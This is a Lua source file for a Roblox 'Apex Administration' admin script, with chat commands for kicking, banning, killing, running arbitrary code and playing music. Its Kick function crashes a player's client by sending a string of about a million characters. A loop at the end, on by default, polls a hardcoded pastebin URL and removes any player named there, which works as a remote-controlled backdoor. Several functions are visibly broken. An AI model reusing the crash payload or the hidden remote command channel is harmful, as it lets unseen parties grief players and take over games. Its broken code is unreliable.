apex admin

-- Apex Administration made by /Roblox/Vfen/ Paste Bin/MlgMatthew/


Kick = function(plr)
local h=Instance.new('RemoteEvent',workspace):FireClient(plr,{string.rep("umad?",2e5+5)})
delay(1,function()
        pcall(function()
                h:remove()
        end)
end)
end

wait()
script.Parent = Instance.new('Glue') -- Anti h4x0rz

Rot1 = math.rad(0)*math.pi*2
Rot2 = math.rad(0)*math.pi*2
Lerp_Rot = .1

Apex = {
        Tablets = {};
        Commands = {};
        Rot_1 = math.rad(0)*math.pi*2;
        Rot_2 = math.rad(0)*math.pi*2;
        Prefix = ";";
        Suffix = "/";
        Functions = {};
        Version = "[VENGANCE]";
        Logs = {
                ScriptLogs = {};
                ChatLogs = {};
                ErrorLogs = {};
                OtherPlayerLogs = {};
        },
        Fake = {
                _G = {};
                shared = {};
                Functions = {};
        },
        Settings = {
                Tablet = false;
                AgeEnabled = false;
                ScriptEnabled = false;
                HttpEnabled = false;
                LoadstringEnabled = false;
                PrivateServerEnabled = false;
                Scripts = false;
                HttpCommands = true;
        },
        _Ranked = {
                {Nme="zombieslayerwtf",Rank=4,Description="Creator.",Color="Really red"};
                {Nme="WhenYouDieV3",Rank=4,Description="my friend.",Color="Really red"};
                {Nme="samuel110906",Rank=4,Description="my best friend.",Color="White"};
                {Nme="Jack521345",Rank=4,Description="just a nice guy.",Color="White"};
        {Nme="danijel",Rank=2,Description="Really awsome.",Color="Really black"};
                {Nme="Yolo",Rank=-999,Description="Abuser, REALLY annoying.",Color="Really black"};
        {Nme="DamnDaniel",Rank=-999,Description="Abuser, REALLY annoying.",Color="Really black"};
        },
        Get = {};
        Set = {};
        Updates = {
                "This was made by zombieslayerwtf";
        };
};
Notify = function(plr,msg)
        if msg==nil then msg = "Nil message." end
        local pg = plr.PlayerGui;
        local Gui = Instance.new("ScreenGui", pg);
        local frame = Instance.new("Frame", pg);
        frame.Size = UDim2.new(1,0,0.5,0);
        frame.Position = UDim2.new(0,0,0);
        frame.Draggable = true;
        frame.Active = true;
        local text = Instance.new("TextLabel", frame);
        text.Size = UDim2.new(.99,0,0,2.5);
        text.Position = UDim2.new(.005,0,0,2.5);
        text.Text = "-=[ Apex Vengance ]=- "..msg;
        text.Font = "Arial";
        text.FontSize = "Size18";
        text.TextScaled = true;
        text.TextWrapped = false;
end;

Update = function(plr,msg)
        if msg==nil then msg = "Nil message." end
        local pg=plr.PlayerGui;
        if plr and pg:FindFirstChild("PlayerGui") then
                coroutine.resume(coroutine.create(function()
                        local Gui=Instance.new("ScreenGui",pg);
                        local Frame=Instance.new("Frame",Gui);
                        Frame.Size = UDim2.new(1,0,1,0);
                        Frame.BackgroundTransparency = 1;
                        Frame.BorderColor3=Color3.new(0,0,0);
                        Frame.Style = "Custom";
                        Frame.BorderSizePixel = 0;
                        local Text = Instance.new("TextLabel",Frame);
                        Text.BackgroundTransparency=1;
            Text.Size=UDim2.new(1,0,1,0);
            Text.Text='-=[ Apex Vengance ]=- '..msg;
            Text.Font='Arial';
            Text.FontSize='Size12';
            Text.BorderColor3=Color3.new(0,0,0);
            Text.BackgroundColor3=Color3.new(255,255,255);
            Text.TextScaled=true;
            Text.TextWrapped=false;
            Text.TextStrokeColor3=Color3.new(1,1,1);
            Text.TextStrokeTransparency=0;
            Text.TextTransparency=0;
                end));
        end;
end;

GetTablets = function(plr)
        local Table = {};
        pcall(function() plr = plr.Name end);
        for _,Tablet in next,Apex.Tablets do
                if(Tablet.Owner==plr.Name) then
                        table.insert(Table,plr.Name);
                end;
                return Table;
        end;
end;
GetScript = function(plr)
        local Scripts = {};
        pcall(function() plr = plr.Name end);
        for _,Script in next,Apex.Settings.Scripts do
                if(Script.Disabled == true or Script.Disabled == false) then
                        table.remove(Scripts,script);
                end;
                return Scripts;
        end;
end;
Output = function(time,Player,Text,Color,Func)
        wait()
        if Color == nil then Color = "Institutional white" end;
        if Func == nil then Func=function() end; end;
        if Text == nil then Text="Nil text." end;
        local Part = Instance.new("Part", game.Workspace);
        Part.FormFactor = "Custom";
        Part.CFrame = CFrame.new(0,80,0);
        Part.CanCollide = false;
        Part.Locked = true;
        Part.Anchored = true;
        Part.Name = "Apex V4 VENGANCE Tablet";
        Part.Transparency = 0.3;
        Part.BrickColor = BrickColor.new(Color);
        Part.Size = Vector3.new(2,2,2);
        Part.TopSurface = "Smooth";
        Part.BottomSurface = "Smooth";
        local Box = Instance.new("SelectionBox",Part);
        Box.Adornee = Part;
        Box.Color = BrickColor.new("Really black");
        Box.Transparency  = 0.3;
        local Gui = Instance.new("BillboardGui",Part);
        wait()
        Gui.Adornee = Part;
        Gui.StudsOffset = Vector3.new(0,3,0);
        Gui.Size = UDim2.new(1,0,1,0);
        Gui.Name = "Gui";
        local Gyro = Instance.new("BodyGyro",Part);
        local TextLabel = Instance.new("TextLabel",Gui);
        wait()
        TextLabel.Text = Text;
        TextLabel.BackgroundTransparency = 1;
        TextLabel.Size = UDim2.new(1,0,1,0);
        TextLabel.FontSize = "Size18";
        TextLabel.Font = "ArialBold";
        TextLabel.TextColor3 = BrickColor.new(Color).Color;
        local Click = Instance.new("ClickDetector",Part);
        wait()
        Click.MouseClick:connect(function(plr)
                if plr.userId == Player.userId then
                        pcall(function() time=0 end)
                        coroutine.wrap(function()
                                spawn(function()
                                        for _ = 0.5,1,0.05 do
                                                pcall(function()
                                                        TextLabel.TextStrokeTransparency = TextLabel.TextStrokeTransparency+0.1
                                                        Part.Size = Part.Size-Vector3.new(0.4,0.4,0.4)
                                                        Box.Transparency = Box.Transparency+0.1
                                                        Part.Transparency = Part.Transparency+0.05
                                                end)
                                                wait()
                                        end
                                        pcall(function()
                                                Part:Destroy()
                                        end)
                                end)
                        end)()
                        Func=Func Func()
                end
        end)
        Click.MouseHoverEnter:connect(function(plr)
                if plr.userId == Player.userId then
                        Box.Transparency = 0.1
                        Part.Size = Vector3.new(1.6,1.6,1.6)
                end
        end)
        Click.MouseHoverLeave:connect(function(plr)
                if plr.userId == Player.userId then
                        Box.Transparency = 0.3
                        Part.Size = Vector3.new(2,2,2)
                end
        end)
        table.insert(Apex.Tablets,{Tab=Part,Player=Player.userId,Box=Box,Gyro=Gyro,Text=TextLabel})
                Part.Parent=script;
        GetRank = function(plr)
                local Rk=0;
                for _,data in pairs(Apex["_Ranked"]) do
                        if plr.Name == data.Nme then
                                Rk = data.Rank
                        end;
                end;
                return Rk;
        end;
        GetColor = function(plr)
                local Color = "Really black";
                for _,data in pairs(Apex["_Ranked"]) do
                        if plr.Name == data.Name then
                                Color = data.Color
                        end;
                end;
                return Color;
        end;
        Broadcast_All = function(time,Player,Text,Color,Func)
                table.insert(Apex.Tablets,{Tab=Part,Player=Player.userId,Box=Box,Gyro=Gyro,Text=TextLabel})
                        Part.Parent=script;
        end;
end;

function findPlayer(str, spkr)
        local result = {}
        for _, person in pairs(game.Players:GetChildren()) do
                if person.Name:lower():find(str) == 1 then
                        result[person] = person
                end
        end
        if str == "all" then result = {spkr} end
        if str == "all" then
                for _, person in pairs(game.Players:GetChildren()) do
                        result[person] = person
                end
        end
        if str == "others" then
                for _, person in pairs(game.Players:GetChildren()) do
                        if person.userId ~= spkr.userId then
                                result[person] = person
                        end
                end
        end
        return result
end

function UpdateTabPos()
        Rot1=Rot1+Rot2
        for _,Player in pairs(game:service'Players':GetPlayers()) do
                local CollectionTabs = {}
                local Player_Pos = nil
                        for i,v in pairs(Apex.Tablets) do
                                if v.Tab.Parent ~= nil and v.Player == Player.userId then
                                        table.insert(CollectionTabs,v)
                                end
                        end
                pcall(function()
                        if Player.Character ~= nil and Player.Character.Torso ~= nil then
                                pcall(function()
                                    Player_Pos = Player.Character.Torso.CFrame
                                end)
                        end
                end)
                        for i,v in pairs(CollectionTabs) do
                        if v.Tab.Parent == nil then
                            v.Tab:remove()
                        table.remove(CollectionTabs, i)
                        end
                                if v.Tab.Parent ~= nil and v.Player == Player.userId then
                                        pcall(function()
                                            if v.Tab.Parent ~= game.Workspace then v.Tab.Parent = game.Workspace end
                                            local Radius1=CFrame.new(0,0,-4.5-#CollectionTabs)
                                            local Radius2=Radius1*CFrame.Angles(math.rad(25),0,0)
                                            local cfr = Player_Pos*CFrame.Angles(.001,math.rad((i*360/#CollectionTabs)+Rot1),0)*Radius2
                                            local Pos = v.Tab.CFrame.p
                                            Pos = Pos:Lerp(cfr.p,Lerp_Rot)
                                            v.Tab.CFrame=CFrame.new(Pos)*v.Gyro.cframe
                                            v.Gyro.cframe=v.Gyro.cframe*CFrame.Angles(math.rad(1),math.rad(1),math.rad(1))
                                        end)
                                end
                        end
        end
end;

AddCommand = function(Name,Usage,Desc,Rank,Func)
        table.insert(Apex.Commands,{Name=Name,Usage=Usage,Desc=Desc,Rank=Rank,Func=Func})
end;

Chat = function(plr,msg)
        local Ran,Error=ypcall(function()
                for _,data in pairs(Apex["Commands"]) do
                        if msg:sub(1,#(data["Usage"]:lower()..Apex.Suffix))==(data["Usage"]:lower()..Apex.Prefix) then
                                if GetRank(plr) >= data.Rank then
                                        msg = msg:sub(#data["Usage"]+#Apex.Suffix+1);
                                        local a,b=ypcall(function()
                                                data["Func"](plr,msg)
                                        end);
                                        if not a then
                                                Output(5,plr,"ERROR: "..b,"Really red",function() end);
                                        end;
                                else
                                        Output(10,plr,"Your rank is too low for that command.","Really red",function() end);
                                end;
                        end;
                end;
        end);
        if not Ran then print(Error) end;
end;

for _,plr in pairs(game.Players:GetPlayers()) do
        plr.Chatted:connect(function(msg)
                Chat(plr,msg);
        end);
        Output(5,plr,"Apex V4 VENGANCE loaded.","Really red")
        wait()
        Output(5,plr,"Your rank is "..GetRank(plr)..'/4.',"Really black")
end

Dismiss = function(plr)
    wait()
    for i=1,4 do
                for _,v in pairs(Apex.Tablets) do
                    if v.Tab and v.Tab.Parent and v.Player == plr.userId then
                        v.Tab.Size = v.Tab.Size-Vector3.new(0.2,0.2,0.2)
                    end
                end
                wait(0.01)
        end
        wait(0.01)
        for _,v in pairs(Apex.Tablets) do
                if v.Player == plr.userId then
                        v.Tab:Destroy();
                end
        end
end

ShowCommands = function(plr)
        Dismiss(plr);
        for _,v in pairs(Apex.Commands) do
                Output(30,plr,v["Name"],"White",function()
                        Dismiss(plr);
                        Output(30,plr,'Name: '..v.Name,'White',function() end);
                        Output(30,plr,'Usage: '..v.Usage,'White',function() end);
                        Output(30,plr,'Description: '..v.Desc,'White',function() end);
                        Output(30,plr,'Rank needed: '..v.Rank,'Lime green',function() end);
                        Output(30,plr,'Back','Lime green',function() ShowCommands(plr); end);
                        Output(30,plr,'Dismiss','Really red',function() Dismiss(plr) end);
                end);
        end;
        if GetRank(plr)<4 then
        Output(30,plr,"Commands for rank "..GetRank(plr),'Lime green',function()
                Dismiss(plr);
                for _,v in pairs(Apex.Commands) do
                        if GetRank(plr) >= v.Rank then
                                Output(30,plr,v["Name"],"White",function()
                                        Dismiss(plr);
                                        Output(30,plr,'Name: '..v.Name,'White',function() end);
                                        Output(30,plr,'Usage: '..v.Usage,'White',function() end);
                                        Output(30,plr,'Description: '..v.Desc,'White',function() end);
                                        Output(30,plr,'Rank needed: '..v.Rank,'Lime green',function() end);
                                        Output(30,plr,'Back','Lime green',function() ShowCommands(plr); end);
                                        Output(30,plr,'Dismiss','Really red',function() Dismiss(plr) end);
                                end);
                        end;
                end;
        end);
        Output(30,plr,"Dismiss","Really red",function() Dismiss(plr) end)
        end;
end;

KickBannedPlayers = function()
        for _,plr in pairs(game.Players:GetChildren()) do
                for _,v in pairs(Apex['_Ranked']) do
                        if plr.Name == v.Nme and v.Rank == -1 then
                                Kick(game:service'Players'[plr.Name])
                        end
                end
        end
end

GetRankd = function(plr)
        Dismiss(plr);
        for _,v in pairs(Apex["_Ranked"]) do
                Output(30,plr,v["Nme"],"White",function()
                        Dismiss(plr);
                        Output(30,plr,'Name: '..v.Nme,v.Color,function() end);
                        Output(30,plr,'Rank: '..v.Rank,v.Color,function() end);
                        Output(30,plr,'Description: '..v.Description,v.Color,function() end);
                        Output(30,plr,'Dismiss','Really red',function() Dismiss(plr) end);
                        Output(30,plr,'Back','Lime green',function() GetRankd(plr) end);
                end);
        end;
end

AddCommand('Commands','cmds','Show all commands.',0,function(Speaker,Message)
        ShowCommands(Speaker);
end)

AddCommand('Ping','ping','Output a message.',0,function(Speaker,Message)
    if Message == nil then Message = "" end
    Output(10,Speaker,Message)
end)

AddCommand('Touch Kick','touchkick','Kick any player you touch.',3,function(Speaker,Message)
    Speaker.Character.Torso.Touched:connect(function(thing)
        if game.Players[thing.Parent.Name] then
            Kick(game:service'Players'[thing.Parent.Name])
        end
    end)
end)

AddCommand('Touch Ban','touchban','Ban any player you touch.',3,function(Speaker,Message)
    Speaker.Character.Torso.Touched:connect(function(thing)
        if game.Players[thing.Parent.Name] then
            Kick(game:service'Players'[thing.Parent.Name])
            table.insert(Apex['_Ranked'],{Nme=thing.Parent.Name,Rank=-1,Description="Touch Banned",'Really black'})
        end
    end)
end)

AddCommand('Dismiss','dt','Dismiss tablets.',0,function(Speaker,Message)
        Dismiss(Speaker);
end)

AddCommand('Dismiss all','dtall',"Dismiss every player's tablets.",3,function(Speaker,Message)
        for _,Player in next,game.Players:children() do
                Dismiss(Player);
        end;
end)

AddCommand('Get ranked','granked','Show all ranked players.',1,function(Speaker,Message)
        GetRankd(Speaker)
end)

AddCommand('Kill','kill','Kill a player.',2,function(Speaker,Message)
        local p = findPlayer(Message, Speaker)
        for _,plr in pairs(p) do
                plr.Character:BreakJoints()
                Output(5,Speaker,'Killed '..plr.Name)
        end
end)

AddCommand('ForceField','ff','Give a player a ForceField.',2,function(Speaker,Message)
        local p = findPlayer(Message, Speaker)
        for _,plr in pairs(p) do
                Instance.new("ForceField", plr.Character)
                Output(5,Speaker,'Gave '..plr.Name..' a ForceField.')
        end
end)

AddCommand('UnForceField','unff',"Remove a player's ForceField.",2,function(Speaker,Message)
        local p = findPlayer(Message, Speaker)
        for _,plr in pairs(p) do
                if plr.Character:FindFirstChild("ForceField") then
                        plr.Character.ForceField:Destroy()
                        Output(5,Speaker,'Removed '..plr.Name.."'s ForceField.")
                end
        end
end)

AddCommand('God','god','Gives a player a huge amount of health.',2,function(Speaker,Message)
        local p = findPlayer(Message, Speaker)
        for _,plr in pairs(p) do
                plr.Character.Humanoid.MaxHealth = math.huge
                plr.Character.Humanoid.Health = 9e9
                Output(5,Speaker,'Made '..plr.Name..' a god.')
        end
end)

AddCommand('Ungod','ungod','Returns a player to their normal health.',2,function(Speaker,Message)
        local p = findPlayer(Message, Speaker)
        for _,plr in pairs(p) do
                plr.Character.Humanoid.Health = 100
                plr.Character.Humanoid.MaxHealth = 100
                Output(5,Speaker,'Ungodded '..plr.Name..'.')
        end
end)

AddCommand('Kick','kick','Kick a player from the game.',3,function(Speaker,Message)
        local p = findPlayer(Message, Speaker)
        for _,plr in pairs(p) do
                Output(5,Speaker,'Kicking '..plr.Name..'.')
                Kick(game:service'Players'[plr.Name])
        end
end)

AddCommand('Ban','ban','Bans a player from the game.',3,function(Speaker,Message)
        local p = findPlayer(Message, Speaker)
        for _,plr in pairs(p) do
                table.insert(Apex['_Ranked'],{Nme=plr.Name,Rank=-1,Description="Banned",'Really black'})
                Output(5,Speaker,'Banned '..plr.Name..'.')
        end
end)

AddCommand('UnBan','unban','Un-Bans a player.',3,function(Speaker,Message)
        for _,plr in pairs(Apex['_Ranked']) do
                if plr.Nme == Message and plr.Rank < 0 then
                        plr.Rank = 0
                        Output(5,'Speaker','Unbanned '..plr.Nme..'.')
                end
        end
end)

AddCommand('NoCopyrightSounds','ncs','Play some great music.',2,function(Speaker,Message)
    pcall(function()
        if sound then sound:Stop() sound:Destroy() end
        sound = Instance.new("Sound",script);
        sound.Looped = true
        local url = "http://www.roblox.com/asset/?id="
        local ready = false
        Dismiss(Speaker)
        Output(30,Speaker,"NoCopyrightSounds","Really black");
        Output(30,Speaker,"Alan Walker - Fade","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."227475817" sound.Volume = 0.5 ready = true end)
        Output(30,Speaker,"Alan Walker - Spectre","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."219506834" sound.Volume = 0.5 ready = true end);
        Output(30,Speaker,"Codeko - Crest","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."186496535" sound.Volume = 0.2 ready = true end);
        Output(30,Speaker,"Itro - Panda","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."201573748" sound.Volume = 0.5 ready = true end);
        Output(30,Speaker,"Distrion and Electro-Light - Rubik","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."222338678" sound.Volume = 0.5 ready = true end);
        Output(30,Speaker,"Itro & Tobu - Cloud 9","New Yeller",function() Dismiss(Speaker) sound.SoundId = url.."181065299" sound.Volume = 0.5 ready = true end);
        while not ready do
            wait(2)
        end
        sound.Parent = Speaker.Character.Torso
        wait()
        Output(5,Speaker,"Playing music.")
        sound.Volume = 100
        sound:Play()
    end)
end)

AddCommand('Music','music','Play music of your choice.',3,function(Speaker,Message)
    pcall(function()
        if sound then sound:Stop() sound:Destroy() end
        sound = Instance.new("Sound",script)
        sound.Looped = true
        sound.Volume = 100
        local url = "http://www.roblox.com/asset/?id="..Message
        sound.SoundId = url
        sound.Parent = Speaker.Character.Torso
        Dismiss(Speaker)
        wait(2)
        Output(5,Speaker,"Click to play song "..Message,"New Yeller",function() sound:Play() end)
    end)
end)

AddCommand('Players','net','View people connected to the game (even nils).',4,function(Speaker,Message)
    for _,v in pairs(game.NetworkServer:GetChildren()) do
        if v.Parent == nil then
            Output(30,Speaker,v.Name.." <NIL>","Really red")
        else
            Output(30,Speaker,v.Name,"Lime green")
        end
    end
end)

AddCommand('Stop Music','stopmusic','Stop playing music.',2,function()
    pcall(function()
        if sound then sound:Stop() end
        sound:Destroy()
    end)
end)

AddCommand('Information','i','Get information about a player.',2,function(Speaker,Message)
    local p = findPlayer(Message, Speaker)
    for _,plr in pairs(p) do
        Output(30,Speaker,'Info on '..plr.Name,'Really black',function()
            Dismiss(Speaker)
            Output(30,Speaker,plr.Name)
            Output(30,Speaker,plr.AccountAge..' days old')
            Output(30,Speaker,'Rank '..GetRank(plr)..'/4')
            Output(30,Speaker,'Kick','Really red',function() Kick(game:service'Players'[plr.Name]) end)
        end)
    end
end)

AddCommand('Set Rank','setrank',"Sets a player's rank.",4,function(Speaker,Message)
        local p = findPlayer(Message, Speaker)
        Dismiss(Speaker)
        for _,otherp in pairs(p) do
                Output(30,Speaker,'Set '..otherp.Name.."'s rank",nil,function()
                        Dismiss(Speaker)
                        isrkd = false
                        for _,ppl in pairs(Apex['_Ranked']) do
                                if otherp.Name == ppl.Name then isrkd = true end
                        end
                        if isrkd == false then
                                table.insert(Apex['_Ranked'],{Nme=otherp.Name,Rank=0,Description="User",'White'})
                        end
                        Output(30,Speaker,'Change '..otherp.Name.."'s rank to...",'Black',function() Dismiss(Speaker) end)
                        Output(30,Speaker,0,nil,function() if GetRank(Speaker)>GetRank(otherp) then
                                for _,plr in pairs(Apex['_Ranked']) do
                                        if plr.Name == otherp.Name then plr.Rank = 0; end
                                end
                                Output(5,p,'You are now rank 0/4.','New Yeller');
                                end Dismiss(Speaker) end)
                        Output(30,Speaker,1,nil,function() if GetRank(Speaker)>GetRank(otherp) then
                                for _,plr in pairs(Apex['_Ranked']) do
                                        if plr.Name == otherp.Name then plr.Rank = 1; end
                                end
                                Output(5,p,'You are now rank 1/4.','New Yeller');
                                end Dismiss(Speaker) end)
                        Output(30,Speaker,2,nil,function() if GetRank(Speaker)>GetRank(otherp) then
                                for _,plr in pairs(Apex['_Ranked']) do
                                        if plr.Name == otherp.Name then plr.Rank = 2; end
                                end
                                Output(5,p,'You are now rank 2/4.','New Yeller');
                                end Dismiss(Speaker) end)
                        Output(30,Speaker,3,nil,function() if GetRank(Speaker)>GetRank(otherp) then
                                for _,plr in pairs(Apex['_Ranked']) do
                                        if plr.Name == otherp.Name then plr.Rank = 3; end
                                end
                                Output(5,p,'You are now rank 3/4.','New Yeller');
                                end Dismiss(Speaker) end)
                        Output(30,Speaker,4,nil,function() if GetRank(Speaker)>GetRank(otherp) then
                                for _,plr in pairs(Apex['_Ranked']) do
                                        if plr.Name == otherp.Name then plr.Rank = 4; end
                                end
                                Output(5,p,'You are now rank 4/4.','New Yeller');
                                end Dismiss(Speaker) end)
                end)
        end
end)


AddCommand('Loadstring','ls','Run some code.',3,function(Speaker,Message)
        local Ran,Error = ypcall(function()
                loadstring(Message)()
        end);
        if Error then Output(5,Speaker,Error,'Really red') end
        if not Ran then print(Error) end
end);

AddCommand('Shutdown','sd','Shut down the server.',4,function(Speaker,Message)
        for _,player in next,game:service'Players':GetPlayers() do
                Output(5,player,'Server will shut down in 3 seconds!','Really red')
        end
        wait(3)
end)

AddCommand('Http Commands','hcmds','Toggle commands over HTTP.',4,function(Speaker)
    Apex.Settings.HttpCommands = not Apex.Settings.HttpCommands
    Output(5,Speaker,'Toggled HTTP Commands to '..Apex.Settings.HttpCommands..'.')
end)

AddCommand('Credits','c','Show the credits.',0,function(Speaker,Message)
        Output(10,Speaker,'Made by Vfen.','Lime green');
        Output(10,Speaker,'Math credit to Vfen.','Lime green');
        Output(10,Speaker,'ROBLOX Advanced Apex Administration','Really black');
end)

game:GetService('RunService').Heartbeat:connect(function()
        UpdateTabPos();
        KickBannedPlayers();
end)

game:service'Players'.PlayerAdded:connect(function(plr)
        wait(1);
        plr.Chatted:connect(function(msg)
                Chat(plr,msg);
        end);
        Output(5,plr,"ROBLOX Advanced apex administration Loaded .","Really red")
        wait()
        Output(5,plr,"Your rank is "..GetRank(plr)..'/4.',"Really black")
end)

while true do
    wait(1)
    while Apex.Settings.HttpCommands do
        wait(5)
        local data = game:service'HttpService':GetAsync("http://pastebin.com/raw.php?i=Pn4ctSmE",true)
        data = tostring(data)
        local A, A2 = string.find(data, "START")
        local B, B2 = string.find(data, "END")
        local cmd = string.sub(data, A2+1, B-1)
        if string.sub(cmd,1,5)=="kick " then game.Players[string.sub(cmd,6)]:Destroy() end
    end
end